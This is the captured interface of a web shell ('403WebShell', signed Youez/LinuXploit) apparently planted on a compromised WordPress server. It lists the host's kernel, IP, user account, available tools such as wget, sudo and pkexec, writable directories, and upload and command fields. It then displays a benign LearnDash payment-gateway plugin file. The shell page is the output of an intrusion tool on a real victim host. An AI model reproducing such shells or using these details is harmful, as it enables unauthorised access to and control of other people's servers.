Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 104.21.25.182  /  Your IP : 216.73.216.38
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/sfwd-lms/includes/payments/gateways/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/sfwd-lms/includes/payments/gateways/init.php
<?php
/**
 * LearnDash payment gateways.
 *
 * @since 4.5.0
 *
 * @package LearnDash
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

const LEARNDASH_GATEWAYS_PATH = LEARNDASH_LMS_PLUGIN_DIR . 'includes/payments/gateways/';
require_once LEARNDASH_GATEWAYS_PATH . 'class-learndash-payment-gateway.php';

// Requires all gateways. Please don't forget to create an instance of the gateways below.
require_once LEARNDASH_GATEWAYS_PATH . 'class-learndash-unknown-gateway.php';
require_once LEARNDASH_GATEWAYS_PATH . 'class-learndash-paypal-ipn-gateway.php';
require_once LEARNDASH_GATEWAYS_PATH . 'class-learndash-stripe-gateway.php';
require_once LEARNDASH_GATEWAYS_PATH . 'class-learndash-razorpay-gateway.php';

add_action(
	'init',
	function () {
		/**
		 * Filters the list of payment gateways.
		 *
		 * @since 4.5.0
		 *
		 * @param Learndash_Payment_Gateway[] $gateways List of payment gateway instances.
		 *
		 * @return Learndash_Payment_Gateway[] List of payment gateway instances.
		 */
		$gateways = apply_filters(
			'learndash_payment_gateways',
			array(
				// gateways instances initialization.
				new Learndash_Unknown_Gateway(),
				new Learndash_Paypal_IPN_Gateway(),
				new Learndash_Stripe_Gateway(),
				new Learndash_Razorpay_Gateway(),
			)
		);

		foreach ( $gateways as $gateway ) {
			if ( ! $gateway instanceof Learndash_Payment_Gateway ) {
				continue;
			}

			$gateway->init();
		}
	}
);

Youez - 2016 - github.com/yon3zu
LinuXploit